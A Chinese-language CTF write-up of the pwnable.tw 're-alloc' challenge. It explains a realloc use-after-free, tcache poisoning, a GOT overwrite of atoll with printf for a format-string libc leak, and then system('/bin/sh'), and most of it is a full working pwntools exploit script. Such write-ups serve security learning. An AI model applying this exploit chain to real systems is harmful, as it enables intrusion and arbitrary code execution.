pwnable.tw writeup - re-alloc

 

这道题太好了。

程序比较简单,程序流程分析起来比较容易,这里就不赘述了。

有关 malloc,realloc,free,calloc 函数的流程&源码分析可以参考 linux-heap-study

漏洞函数

释放chunk是通过 rfree 函数调用 realloc(ptr,0) 的形式来进行的。 rfree 之后会把对应的 heap 指针设置为NULL。

分配chunk通过 allocate() 函数调用 realloc(0,size) 的形式来进行的。realloc 会调用malloc进行分配内存。

调整chunk的大小通过 reallocate 函数调用 realloc(ptr,newsize) 的形式来进行的。

rfree 函数,alloc 函数没有找到漏洞,但是 reallocate 函数有漏洞。因为 输入size为0时,heap对应的指针不会置空,造成了 use after free 。

任意地址写

毒化 tcache[0]

因为最多只能120字节,所以只能对 tcache 进行操作。

思路是:

1. 先分配一个 32 大小的 chunk 给 heap[0]。 (allocate函数)
2. 用 realloc(heap[0],0) free heap[0] 所指向的 chunk. Use after free。 (reallocate函数)
3. 用 realloc(heap[0],16) 返回旧 chunk,这时写 chunk 的 fd 字段为我们想要的地址。
4. 第二次 tcache 返回时,就会返回我们想要的那个地址。

下面是实现这部分的代码,注释了内存中堆上的情况。

def alloc(idx,size,data):
    io.sendafter(":","1\n")
    io.sendafter(":",str(idx))
    io.sendafter(":",str(size))
    io.sendafter(":",data)

def realloc(idx,size,data=None):
    io.sendafter(":","2\n")
    io.sendafter(":",str(idx))
    io.sendafter(":",str(size))
    if data:
        io.sendafter(":",data)

def rfree(idx):
    io.sendafter(":","3\n")
    io.sendafter(":",str(idx))

TARGET_ADDR=elf.got['atoll']
TRAGET_VAL=elf.symbols['printf']

info("got['atoll'] TARGET_ADDR: "+str(hex(TARGET_ADDR)))
info("symbols['printf'] TARGET_VAL: "+str(hex(TRAGET_VAL)))

# ====== 投毒 tcache[0] =======
alloc(0,16,"aaaa")
# heap[0]-> chunk0
# heap[1] -> NULL
realloc(0,0)
# tcache[0] -> chunk0
# heap[0] -> chunk0
# heap[1] -> NULL
realloc(0,16,pack(TARGET_ADDR))
# tcache[0] -> chunk0 -> TARGET_ADDR
# heap[0] -> chunk0(32size)
# heap[1] -> NULL

# 取下来,这时chunk0中的key已经置为0
alloc(1,16,"bbbb")
# tcache[0]->TARGET_ADDR
# heap[0] -> chunk0(32size)
# heap[1] -> chunk0

这个版本的 glibc 没有count检查,不需要多free一个Glibc-2.29-malloc:2949

投毒成功。下一次分配32 字节的chunk,tcache 就会返回我们想要的地址。

然后是把两个heap指针置空

# -----现在把两个heap指针变为0-----

# 扩展chunk 0,扩展是为了释放时能把chunk放到另一个tcache bin中。
realloc(0,32,"aaaa")
# tcache[0]->TARGET_ADDR
# heap[0] -> chunk0'(48size)
# heap[1] -> chunk0'

rfree(0)
# tcache[0]->TARGET_ADDR
# tcache[1]->chunk0'(48size)
# heap[0] -> NULL
# heap[1] -> chunk0'

# 再扩展一次
realloc(1,48,"aaaa")
# tcache[0]->TARGET_ADDR
# tcache[1]->chunk0''(64size)
# heap[0] -> NULL
# heap[1] -> chunk0''

rfree(1)
# tcache[0]->TARGET_ADDR
# tcache[1]->chunk0''(64size)
# tcache[2]->chunk0''  tcahce[2]中的循环不会找到 <https://elixir.free-electrons.com/glibc/glibc-2.29.9000/source/malloc/malloc.c#L4205>
# heap[0] -> NULL
# heap[1] -> NULL

接下来调用 allocate 分配 tcache[0] 上的 “chunk” ,就会返回我们想要的地址进行任意地址写了。

泄露

如何利用任意地址写来泄露内存呢?

我们可以把 GOT 表中的 atoll 函数项改为 printf 函数的地址。这样每次调用 atoll 函数就是在调用printf 函数。这么做是因为两个函数函数原型相似,printf 的返回值是输出了多少个字符。这样一来每次调用 rfree 函数输入 index 的时候我们就可以利用格式化字符串漏洞了。

script

注释里面有heap指针,内存中 tcache 的情况。

#!/usr/bin/env python3

from struct import pack
from pwn import *

HOST='chall.pwnable.tw'
PORT=10106
PROC="./re-alloc"

context.log_level = 'DEBUG'
context.arch = 'amd64'

io=None
elf=ELF(PROC)
lib = ELF("./dynamic64/libc_64.so")

if len(sys.argv) == 1 : 
    io=process(PROC)
else:
    log.info("remote start")
    # 设置代理
    context.proxy=(socks.SOCKS5,'localhost',7890)
    io=remote(HOST,PORT)

def PauseLocalDebug():
    info("process pid: "+str(io.pid))
    pause()

def alloc(idx,size,data):
    io.sendafter(":","1\n")
    io.sendafter(":",str(idx))
    io.sendafter(":",str(size))
    io.sendafter(":",data)

def realloc(idx,size,data=None):
    io.sendafter(":","2\n")
    io.sendafter(":",str(idx))
    io.sendafter(":",str(size))
    if data:
        io.sendafter(":",data)

def rfree(idx):
    io.sendafter(":","3\n")
    io.sendafter(":",str(idx))

TARGET_ADDR=elf.got['atoll']
TRAGET_VAL=elf.symbols['printf']

info("got['atoll'] TARGET_ADDR: "+str(hex(TARGET_ADDR)))
info("symbols['printf'] TARGET_VAL: "+str(hex(TRAGET_VAL)))

# ====== 投毒 tcache[0] =======
alloc(0,16,"aaaa")
# heap[0]-> chunk0
# heap[1] -> NULL
realloc(0,0)
# tcache[0] -> chunk0
# heap[0] -> chunk0
# heap[1] -> NULL
realloc(0,16,pack(TARGET_ADDR))
# tcache[0] -> chunk0 -> TARGET_ADDR
# heap[0] -> chunk0(32size)
# heap[1] -> NULL

# 取下来,这时chunk0中的key已经置为0
alloc(1,16,"bbbb")
# tcache[0]->TARGET_ADDR
# heap[0] -> chunk0(32size)
# heap[1] -> chunk0

# -----现在把两个heap指针变为0-----

# 扩展chunk 0,扩展是为了释放时能把chunk放到另一个tcache bin中。
realloc(0,32,"aaaa")
# tcache[0]->TARGET_ADDR
# heap[0] -> chunk0'(48size)
# heap[1] -> chunk0'

rfree(0)
# tcache[0]->TARGET_ADDR
# tcache[1]->chunk0'(48size)
# heap[0] -> NULL
# heap[1] -> chunk0'

realloc(1,48,"aaaa")
# tcache[0]->TARGET_ADDR
# tcache[1]->chunk0''(64size)
# heap[0] -> NULL
# heap[1] -> chunk0''

rfree(1)
# tcache[0]->TARGET_ADDR
# tcache[1]->chunk0''(64size)
# tcache[2]->chunk0''  tcahce[2]中的循环不会找到 <https://elixir.free-electrons.com/glibc/glibc-2.29.9000/source/malloc/malloc.c#L4205>
# heap[0] -> NULL
# heap[1] -> NULL


# ======== 故技重施 tcache[0]投毒完成,现在投毒第二个tcache ===========
# 还需要投毒一个tcache, 为后面 got['atoll'] 中写system 作准备

alloc(0,64,"aaaa")
# heap[0] -> chunk1(80size)

realloc(0,0)
# tcache[3] -> chunk1
# heap[0] -> chunk1

realloc(0,64,pack(TARGET_ADDR))
# tcache[3] -> chunk1 -> TARGET_ADDR
# heap[0] -> chunk1

# 取下来
alloc(1,64,"aaaa")
# tcache[3] -> TARGET_ADDR
# heap[0] -> chunk1
# heap[1] -> chunk1

# 下面让两个指针为NULL
realloc(0,80,"aaaa")
# tcache[3] -> TARGET_ADDR
# heap[0] -> chunk1'(size 96)
# heap[1] -> chunk1'

rfree(0)
# tcache[3] -> TARGET_ADDR
# tcahce[4] -> chunk1'
# heap[0] -> NULL
# heap[1] -> chunk1'

realloc(1,96,"aaaa")
# tcache[3] -> TARGET_ADDR
# tcahce[4] -> chunk1''(size: 112)
# heap[0] -> NULL
# heap[1] -> chunk1''

rfree(1)
# tcache[3] -> TARGET_ADDR
# tcahce[4] -> chunk1''(size: 112)
# tcahce[5] -> chunk1''(size: 112)
# heap[0] -> NULL
# heap[1] -> NULL

# ======== 工具集齐,正式开始利用

# !!! 现在返回的就是 got['atoll'] 地址。写 printf 的地址。先用tcache[3]
alloc(0,64,pack(TRAGET_VAL))


# 下面开始利用 rfree 函数进行格式化字符串利用
#  泄露 _read_chk+9的位置
def leak_read_chk():
    payload='%p,%p,%p'
    rfree(payload) 
    io.recvuntil(",")
    io.recvuntil(",")
    _read_chk=int(io.recvn(14),16)
    _read_chk-=9
    info("lib func _read_chek address: "+hex(_read_chk))
    return _read_chk
    
read_chk=leak_read_chk()
lib.address=read_chk-lib.symbols['__read_chk']


info("libc base address: "+str(hex(lib.address)))

# PauseLocalDebug()

# 现在写 got[atoll] 为 system地址
# 取 tcache[0] 中的chunk
alloc("a","a"*16,pack(lib.symbols['system']))

rfree("/bin/sh")

io.interactive()